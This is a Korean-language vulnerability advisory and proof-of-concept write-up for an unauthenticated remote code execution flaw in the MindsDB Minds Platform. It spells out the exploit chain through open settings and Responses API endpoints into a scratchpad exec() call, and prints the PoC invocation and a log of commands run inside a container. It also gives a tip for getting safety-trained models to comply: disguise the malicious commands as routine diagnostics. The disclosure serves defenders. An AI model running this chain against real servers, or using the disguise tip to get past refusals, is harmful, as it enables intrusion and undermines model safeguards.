
CVE-2026-73678 — MindsDB Minds Platform에서 scratchpad exec를 통한 비인증 RCE (CVSS 10.0). 실제 LLM으로 엔드투엔드 검증 완료.
CVSS 10.0 (Critical) · CWE-94 / CWE-306 · GHSA-jcxw-h8ph-pxpv · VulnCheck
Minds Platform(mindsdb/mindshub의 오픈소스 백엔드, 이전에는 mindsdb/minds-platform)은 완전히 인증 없이 POST /api/v1/responses/(OpenAI 호환 Responses API, 포트 26866)를 노출합니다. 인증 미들웨어가 없습니다 — Bearer 검사도, 세션도, 아무것도 없습니다. 서버는 관대한 CORS 미들웨어(allow_origins=["*"], allow_credentials=True)만 설치합니다.
따라서 인증되지 않은 공격자는 다음을 수행할 수 있습니다:
PUT /api/v1/settings/{key}를 통해 자체 LLM 구성을 주입합니다(openai_api_key, openai_base_url, planning_provider, coding_provider, *_model) — 토큰이 필요 없으며 모든 요청이 200을 반환합니다.
POST /api/v1/responses/에 조작된 프롬프트를 전송합니다 → ResponsesHandler.handle() → Anton ChatSession.turn_stream(input).
(공격자가 제어하는) LLM은 내장 scratchpad 도구에 대한 함수 호출(action: "exec")을 반환합니다. handle_scratchpad → prepare_scratchpad_exec → ScratchpadManager → LocalScratchpadRuntime → scratchpad_boot.py:
compiled = compile(code, "<scratchpad>", "exec")
exec(compiled, namespace) # arbitrary Python → arbitrary OS commands
LLM 엔드포인트가 공격자가 선택할 수 있기 때문에(BYOK), 공격자는 모델이 어떤 scratchpad 코드든 반환하도록 만들 수 있습니다 — 모델의 협력이나 강제가 필요 없습니다. 유일한 전제 조건은 작동하는 OpenAI 호환 LLM API 키입니다.
영향 범위: ≤ v26.1.0(취약한 코드는 2026-06-08 "Fresh #12461"에 추가됨).
패치: 없음 — GHSA는 패치된 버전을 명시하지 않습니다. exec()는 여전히 main에 존재합니다(선택적이며 기본적으로 꺼져 있는 COWORK_REQUIRE_AUTH Bearer 미들웨어와 org-mode 범위 검사만 존재).
python3 poc_cve-2026-73678.py \
--target http://TARGET:26866 \
--api-key sk-YOUR_OWN_KEY \
--base-url https://api.openai.com/v1 \
--model gpt-4o
PoC는 다음을 수행합니다:
PUT /api/v1/settings/*를 통해 공격자 설정을 기록합니다exec를 통해 uname -a + hostname 실행)cat /tmp/system_info.txt로 확인합니다프롬프트 엔지니어링 참고: 강력한 안전 훈련을 받은 모델은 명백히 악의적인 명령(예: "pwn"이 포함된 파일 이름)을 거부할 수 있습니다. 요청을 일상적인 유지보수(시스템 진단, 상태 점검)로 구성하세요 — scratchpad는 모델이 제공하는 모든 코드를 실행합니다.
실제 LLM 공급자(OpenCode Zen, minimax-m3)를 사용해 cowork-server==0.26.6.26.1을 대상으로 한 실제 종단 간 체인:
== [1] AUTH-FREE SETTINGS INJECTION ==
PUT /api/v1/settings/openai_api_key: HTTP 200
PUT /api/v1/settings/openai_base_url: HTTP 200
PUT /api/v1/settings/planning_provider: HTTP 200
PUT /api/v1/settings/coding_provider: HTTP 200
PUT /api/v1/settings/planning_model: HTTP 200
PUT /api/v1/settings/coding_model: HTTP 200
== [2] CRAFTED PROMPT -> POST /api/v1/responses/ ==
HTTP 200 (15.6s) — LLM called the scratchpad tool
== [3] COMMAND EXECUTION CONFIRMED ==
/tmp/system_info.txt inside the container:
Linux 95d5d7fa74f6 6.12.75+rpt-rpi-2712 ... aarch64 GNU/Linux
95d5d7fa74f6
어느 시점에도 토큰은 전송되지 않았습니다. uname -a 출력은 대상 컨테이너 내부에서 scratchpad exec에 의해 생성되었습니다 — 인증되지 않은 원격 공격자로서의 임의 OS 명령 실행.
GET /api/v1/settings/reveal-key/{name}는 구성된 비밀을 누출합니다. POST /api/v1/settings/raw는 ~/.anton/.env를 작성합니다.mindsdb/mindshub)